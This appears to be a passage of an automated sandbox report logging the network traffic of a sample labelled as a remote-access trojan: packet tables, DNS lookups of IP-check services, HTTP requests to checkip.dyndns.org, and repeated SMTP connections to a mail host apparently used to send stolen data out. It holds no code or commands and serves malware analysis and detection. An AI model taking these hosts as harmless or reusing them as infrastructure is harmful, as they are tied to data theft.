Jul 26, 2024 11:39:34.675419092 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:34.675558090 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:34.680655003 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:34.915971994 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:34.916703939 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:34.922061920 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:35.154544115 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:35.154782057 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:35.154834032 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:35.154834032 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:35.154834032 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:35.159977913 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:35.160021067 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:35.160063028 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:35.160561085 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:35.394805908 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:35.395258904 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:35.400239944 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:35.846493006 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:35.846617937 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:35.847031116 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:35.847090006 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:35.847687960 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:35.851511002 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:35.852689028 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:35.852760077 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:36.504353046 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:36.504496098 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:36.509747982 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:36.739263058 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:36.739579916 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:36.744854927 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:36.975043058 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:36.975502014 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:36.980488062 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:37.237426043 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:37.237565041 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:37.242520094 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:37.474749088 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:37.474888086 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:37.479747057 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:37.713821888 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:37.713948965 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:37.718868971 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:37.950402021 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:37.950634956 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:37.950670958 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:37.950697899 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:37.950714111 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:37.955630064 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:37.955805063 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:37.955862045 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:37.955889940 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:38.367907047 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:38.368346930 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:38.373298883 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:38.805028915 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:38.805310965 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:38.805748940 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:38.805818081 CEST	49732	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:38.806474924 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:38.810945988 CEST	587	49732	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:38.811448097 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:38.811518908 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:39.490287066 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:39.490523100 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:39.495441914 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:39.732033014 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:39.732247114 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:39.737231970 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:39.974550009 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:39.974811077 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:39.979929924 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:40.234587908 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:40.234877110 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:40.239918947 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:40.485876083 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:40.492093086 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:40.497246981 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:40.738343000 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:40.738498926 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:40.743521929 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:40.981273890 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:40.982223034 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:40.982223988 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:40.982223988 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:40.982223988 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:40.987675905 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:40.987710953 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:40.987723112 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:40.987734079 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:41.426445961 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:41.427006006 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:41.432324886 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:41.870563030 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:41.870790005 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:41.871001005 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:41.871001005 CEST	49733	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:41.872440100 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:41.876044035 CEST	587	49733	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:41.877397060 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:41.877465963 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:43.123014927 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:43.123116970 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:43.123375893 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:43.123375893 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:43.123497009 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:43.123567104 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:43.128458023 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:43.359286070 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:43.359458923 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:43.364566088 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:43.600292921 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:43.600500107 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:43.606754065 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:43.843796968 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:43.844057083 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:43.848980904 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:44.072933912 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:44.073223114 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:44.078090906 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:44.309470892 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:44.309607029 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:44.316983938 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:44.540345907 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:44.540656090 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:44.540700912 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:44.540710926 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:44.540724993 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:44.545902967 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:44.545917034 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:44.545927048 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:44.545941114 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:44.775960922 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:44.776501894 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:44.781814098 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:45.208156109 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:45.208288908 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:45.208425045 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:45.208477974 CEST	49734	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:45.209284067 CEST	49735	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:45.213504076 CEST	587	49734	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:45.214268923 CEST	587	49735	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:45.214328051 CEST	49735	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:45.907793999 CEST	587	49735	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:45.907948971 CEST	49735	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:45.923566103 CEST	587	49735	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:46.171327114 CEST	587	49735	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:46.171766996 CEST	49735	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:46.178133011 CEST	587	49735	77.245.159.7	192.168.2.5
Jul 26, 2024 11:40:11.460212946 CEST	587	49735	77.245.159.7	192.168.2.5
Jul 26, 2024 11:40:11.460269928 CEST	49735	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:11.506748915 CEST	49735	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:11.511634111 CEST	587	49735	77.245.159.7	192.168.2.5
Jul 26, 2024 11:40:11.520276070 CEST	49737	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:11.525382996 CEST	587	49737	77.245.159.7	192.168.2.5
Jul 26, 2024 11:40:11.525471926 CEST	49737	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:11.988769054 CEST	80	49712	158.101.44.242	192.168.2.5
Jul 26, 2024 11:40:11.988862038 CEST	49712	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:40:29.985862970 CEST	49737	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:29.990236998 CEST	49738	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:29.991661072 CEST	587	49737	77.245.159.7	192.168.2.5
Jul 26, 2024 11:40:29.991744995 CEST	49737	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:29.995954037 CEST	587	49738	77.245.159.7	192.168.2.5
Jul 26, 2024 11:40:29.996067047 CEST	49738	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:34.126383066 CEST	49738	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:34.128953934 CEST	49739	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:34.134548903 CEST	587	49738	77.245.159.7	192.168.2.5
Jul 26, 2024 11:40:34.134607077 CEST	49738	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:34.134808064 CEST	587	49739	77.245.159.7	192.168.2.5
Jul 26, 2024 11:40:34.134856939 CEST	49739	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:38.956198931 CEST	49739	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:38.958627939 CEST	49740	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:38.963924885 CEST	587	49740	77.245.159.7	192.168.2.5
Jul 26, 2024 11:40:38.965920925 CEST	587	49739	77.245.159.7	192.168.2.5
Jul 26, 2024 11:40:38.966305017 CEST	49739	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:38.966305017 CEST	49740	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:56.876351118 CEST	49740	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:56.880525112 CEST	49741	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:56.882280111 CEST	587	49740	77.245.159.7	192.168.2.5
Jul 26, 2024 11:40:56.884525061 CEST	49740	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:40:56.886943102 CEST	587	49741	77.245.159.7	192.168.2.5
Jul 26, 2024 11:40:56.892502069 CEST	49741	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:41:05.752412081 CEST	49741	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:41:05.753051996 CEST	49742	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:41:05.758203983 CEST	587	49741	77.245.159.7	192.168.2.5
Jul 26, 2024 11:41:05.758327007 CEST	49741	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:41:05.758790016 CEST	587	49742	77.245.159.7	192.168.2.5
Jul 26, 2024 11:41:05.760504007 CEST	49742	587	192.168.2.5	77.245.159.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 11:38:59.371063948 CEST	54781	53	192.168.2.5	1.1.1.1
Jul 26, 2024 11:38:59.445704937 CEST	53	54781	1.1.1.1	192.168.2.5
Jul 26, 2024 11:39:04.877788067 CEST	58360	53	192.168.2.5	1.1.1.1
Jul 26, 2024 11:39:04.886856079 CEST	53	58360	1.1.1.1	192.168.2.5
Jul 26, 2024 11:39:20.246893883 CEST	52624	53	192.168.2.5	1.1.1.1
Jul 26, 2024 11:39:20.589668989 CEST	53	52624	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 11:38:59.371063948 CEST	192.168.2.5	1.1.1.1	0x1f25	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 11:39:04.877788067 CEST	192.168.2.5	1.1.1.1	0x620d	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 11:39:20.246893883 CEST	192.168.2.5	1.1.1.1	0x53de	Standard query (0)	mail.erkanlarofis.com.tr	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 11:38:59.445704937 CEST	1.1.1.1	192.168.2.5	0x1f25	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 11:38:59.445704937 CEST	1.1.1.1	192.168.2.5	0x1f25	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 11:38:59.445704937 CEST	1.1.1.1	192.168.2.5	0x1f25	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 11:38:59.445704937 CEST	1.1.1.1	192.168.2.5	0x1f25	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 11:38:59.445704937 CEST	1.1.1.1	192.168.2.5	0x1f25	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 11:38:59.445704937 CEST	1.1.1.1	192.168.2.5	0x1f25	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 11:39:04.886856079 CEST	1.1.1.1	192.168.2.5	0x620d	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 11:39:04.886856079 CEST	1.1.1.1	192.168.2.5	0x620d	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 11:39:20.589668989 CEST	1.1.1.1	192.168.2.5	0x53de	No error (0)	mail.erkanlarofis.com.tr	erkanlarofis.com.tr		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 11:39:20.589668989 CEST	1.1.1.1	192.168.2.5	0x53de	No error (0)	erkanlarofis.com.tr		77.245.159.7	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	158.101.44.242	80	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 11:38:59.511497021 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 11:39:01.480242014 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:01 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f8553c7613fd4c2c917d768e17b67a2d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 11:39:01.486656904 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 11:39:04.847099066 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:04 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4bee44812ef03ede1e946b9e6fbc3aef Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 11:39:05.559277058 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 11:39:05.731045961 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:05 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9704821eddf53b5eb899522d421ef23f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	158.101.44.242	80	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 11:39:06.413347006 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 11:39:06.989404917 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:06 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 25587af39e0d567b321045d2c6246783 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	158.101.44.242	80	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 11:39:07.690953970 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 11:39:08.324615955 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:08 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: db7e2095471602765a649e5f79ed7e69 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49716	158.101.44.242	80	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 11:39:08.947376013 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 11:39:09.533092022 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:09 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c8c9810e359b7534489d2aa7a985bf96 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	158.101.44.242	80	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 11:39:10.185650110 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 11:39:10.778944969 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:10 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1efff3dca87174f3c0a4f16af43c8da5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49720	158.101.44.242	80	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 11:39:11.485342979 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
